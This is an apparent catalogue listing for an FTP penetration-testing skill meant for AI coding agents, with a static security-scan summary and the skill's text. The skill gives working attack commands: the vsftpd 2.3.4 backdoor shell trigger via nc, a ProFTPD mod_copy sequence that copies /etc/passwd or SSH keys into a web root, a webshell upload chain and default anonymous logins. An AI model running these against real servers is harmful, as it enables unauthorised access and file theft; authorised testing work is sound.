svc-ftp

svc-ftp is a skill for Claude Code, Codex from s0ld13rr/pentestcode. It costs 55 tokens per session (285 once invoked), scanned A, original, MIT.

A reference for testing File Transfer Protocol (FTP) services, which move files between computers. It covers anonymous access, exposed folders, known software weaknesses, login security, and unsafe file uploads.

In plain words
What is it for?
Checking FTP banners and versions, anonymous logins, readable or writable folders, known vulnerabilities, credential strength, and shell-upload risks.
Why use it?
It brings the main FTP checks into one place when an FTP service is exposed, including ways an open or writable service could reveal files or affect a website.

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade A, and why

svc-ftp scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

What it actually says

FTP — Version Exploits & Chains

vsftpd 2.3.4 — backdoor

Send :) in username → backdoor shell opens on port 6200. echo -e "USER evil:)\nPASS anything" | nc TARGET 21 then nc TARGET 6200

ProFTPD mod_copy — unauthenticated file copy

ProFTPD <1.3.5b. No login needed:

nc TARGET 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/leak.txt

Then curl http://TARGET/leak.txt. Can also copy SSH keys, webshells into web roots.

Writable FTP + web server = shell

If anonymous upload works AND a web server serves the same directory: upload shell via FTP → trigger via HTTP.

Anonymous login variants

Try: anonymous/anonymous@, anonymous/(empty), ftp/ftp. Always ls -la and try cd .. — parent directories sometimes accessible.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
